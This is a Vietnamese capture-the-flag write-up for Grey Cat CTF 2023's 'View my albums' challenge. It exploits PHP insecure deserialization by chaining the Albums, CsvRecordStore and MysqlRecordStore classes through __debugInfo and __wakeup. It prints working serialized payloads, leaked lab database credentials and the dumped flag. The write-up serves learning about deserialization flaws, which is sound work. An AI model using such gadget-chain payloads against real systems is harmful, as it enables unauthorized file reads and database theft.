# Grey Cat CTF 2023 - View my albums ![](https://hackmd.io/_uploads/rJfzprnH3.png) Sau khi vào giao diện challenge mình thử tương tác với các lựa chọn albums. Và đây là request được gửi lên server: ![](https://hackmd.io/_uploads/ryY0pShBn.png) Kết hợp với đọc [source](https://github.com/siunam321/CTF-Writeups/blob/main/Grey-Cat-The-Flag-2023-Qualifiers/Web/View-My-Albums/view-my-albums-dist.zip) của challenge. ![](https://hackmd.io/_uploads/HJcr0SnBn.png) Có thể thấy bài nhận đầu vào COOKIE là một chuỗi serialize data. Sau đó unserialize chuỗi này để lấy thông tin. Đây chính là điểm yếu để chúng ta khai thác. Ban đầu mình cứ đi tìm cách làm sao để qua được điều kiện **instanceof**. ## Từ khóa instanceof là gì? **instanceof** là một từ khóa xác định xem một biến có phải là một đối tượng khởi tạo được tạo một class cụ thể hay không ```php interface MyInterface { } class MyClass implements MyInterface { } $a = new MyClass; var_dump($a instanceof MyClass); var_dump($a instanceof MyInterface); ``` Kết quả: ```php bool(true) bool(true) ``` Đây chỉ là một ví dụ cơ bản, các bạn có thể đọc thêm [ở đây](https://www.php.net/manual/en/language.operators.type.php). Sau khi tìm hiểu về instanceof mình nhận ra, nếu mình truyền vào serialize data của một object không được khởi tạo từ class **UserPrefs** thì chương trình sẽ chạy vào luồng: ```php echo "Unrecognized data: "; var_dump($prefs); exit; ``` Và đây mới là hướng đúng để khai thác. Tại sao? Tiếp tục đọc source của bài. Mình sẽ thấy một số **class** và một số **magic methods** thú vị khác. ```php= class Albums { private $store; public function __construct($store) { $this->store = $store; } public function getAllAlbums() { return $this->store->getAllRecords(); } public function __debugInfo() { return $this->getAllAlbums(); } } ``` ### Class Albums Đầu tiên ở class Albums có 3 method quan trọng mà mình đã tóm tắt trong phần code ở trên đó là: **__construct()**, **getAllAlbums()**, **__debugInfo()**. **__construct()** là một magic method. Method này sẽ được gọi khi chúng ta khởi tạo đối tượng. **__debugInfo()** cũng là một magic method. Nó sẽ được gọi khi chúng ta sử dụng hàm **var_dump()**. ->Chính vì thể nên mục đích của chúng ta là sao cho chương trình chạy vào **hàm var_dump => hàm debug_info() sẽ được gọi => getAllAlbums() sẽ chạy.** Hàm getAllAlbums() chạy nhằm mục đích gì?? Với file sql được tác giả cung cấp: ![](https://hackmd.io/_uploads/B1IgeDnS2.png) Có thể thấy để lấy được flag. Cần phải truy xuất được db và hàm getAllAlbums giúp ta làm điều đó. Tiếp tục đọc hai class để hiểu thêm. ```php= class CsvRecordStore implements RecordStore { private $file; public function __construct($file) { $this->file = $file; } public function getAllRecords() { $data = array_map('str_getcsv', file($this->file)); $records = array(); foreach ($data as $id => $row) { $record = new Record($id); foreach ($row as $key => $value) { $record->$key = $value; } $records[] = $record; } return $records; } } ``` ```php= class MysqlRecordStore implements RecordStore { private $mysqli; private $table; private $host; private $user; private $pass; private $db; public function __construct($host, $user, $pass, $db, $table) { $this->host = $host; $this->user = $user; $this->pass = $pass; $this->db = $db; $this->mysqli = new mysqli($host, $user, $pass, $db); $this->table = $table; } public function getAllRecords() { $stmt = $this->mysqli->prepare("SELECT * FROM {$this->table}"); $stmt->execute(); $rows = $stmt->get_result()->fetch_all(MYSQLI_ASSOC); $records = array(); foreach ($rows as $row) { $record = new Record($row['id']); foreach ($row as $key => $value) { $record->$key = $value; } $records[] = $record; } return $records; } public function __destruct() { $this->mysqli->close(); } public function __wakeup() { $this->mysqli = new mysqli($this->host, $this->user, $this->pass, $this->db); } } ``` Hàm **getAllRecords()** ở class **CsvRecordStore** đọc thông tin từ một file. Hàm **getAllRecords()** ở class **MysqlRecordStore** đọc thông tin từ database. Để đọc được thông tin từ DB đầu tiên phải có các thông tin là host, user, pass, database, table. Thông tin trong file **db_creds.php** có thể khác với các thông tin trên server challenge. Vậy nên đầu tiên phải lấy được các thông tin này từ server. ## Gen serialize data payload: ```php= $test = serialize(new Albums(new CsvRecordStore("db_creds.php"))); var_dump(urlencode($test)); ``` ```ser= O:6:"Albums":1:{s:13:"Albumsstore";O:14:"CsvRecordStore":1:{s:20:"CsvRecordStorefile";s:12:"db_creds.php";}} ``` Gửi serialize data lên cho server và đây là những gì mình nhận được: ```php= Unrecognized data: object(Albums)#1 (6) { [0]=> object(Record)#3 (1) { ["data":"Record":private]=> array(2) { ["id"]=> int(0) [0]=> string(5) "<?php" } } [1]=> object(Record)#4 (1) { ["data":"Record":private]=> array(2) { ["id"]=> int(1) [0]=> NULL } } [2]=> object(Record)#5 (1) { ["data":"Record":private]=> array(2) { ["id"]=> int(2) [0]=> string(22) "$mysql_host = 'mysql';" } } [3]=> object(Record)#6 (1) { ["data":"Record":private]=> array(2) { ["id"]=> int(3) [0]=> string(30) "$mysql_database = 'challenge';" } } [4]=> object(Record)#7 (1) { ["data":"Record":private]=> array(2) { ["id"]=> int(4) [0]=> string(21) "$mysql_user = 'user';" } } [5]=> object(Record)#8 (1) { ["data":"Record":private]=> array(2) { ["id"]=> int(5) [0]=> string(38) "$mysql_password = 'yeah_im_different';" } } } ``` Như vậy ta đã có thông tin đầy đủ để truy xuất database với hàm **getAllRecords()** của class **MysqlRecordStore** Ở Class MysqlRecordStore có một magic method là **__wakeup()**. Method này sẽ chạy khi object được unserialize. => gen payload: ```php= $test = serialize(new Albums(new MysqlRecordStore("mysql","user","yeah_im_different","challenge","flag"))); var_dump($test); var_dump(urlencode($test)); ``` ```ser= O:6:"Albums":1:{s:13:"Albumsstore";O:16:"MysqlRecordStore":6:{s:24:"MysqlRecordStoremysqli";O:6:"mysqli":19:{s:13:"affected_rows";N;s:11:"client_info";N;s:14:"client_version";N;s:13:"connect_errno";N;s:13:"connect_error";N;s:5:"errno";N;s:5:"error";N;s:10:"error_list";N;s:11:"field_count";N;s:9:"host_info";N;s:4:"info";N;s:9:"insert_id";N;s:11:"server_info";N;s:14:"server_version";N;s:4:"stat";N;s:8:"sqlstate";N;s:16:"protocol_version";N;s:9:"thread_id";N;s:13:"warning_count";N;}s:23:"MysqlRecordStoretable";s:4:"flag";s:22:"MysqlRecordStorehost";s:5:"mysql";s:22:"MysqlRecordStoreuser";s:4:"user";s:22:"MysqlRecordStorepass";s:17:"yeah_im_different";s:20:"MysqlRecordStoredb";s:9:"challenge";}} ``` Gửi urlencode payload lên server. Kết quả: ```php= Unrecognized data: object(Albums)#1 (1) { [0]=> object(Record)#5 (1) { ["data":"Record":private]=> array(4) { ["id"]=> int(1) ["flag"]=> string(8) "flag{This_is_Test_Flag}" ["created_at"]=> string(19) "2020-05-01 00:00:00" ["updated_at"]=> string(19) "2020-05-01 00:00:00" } } } ```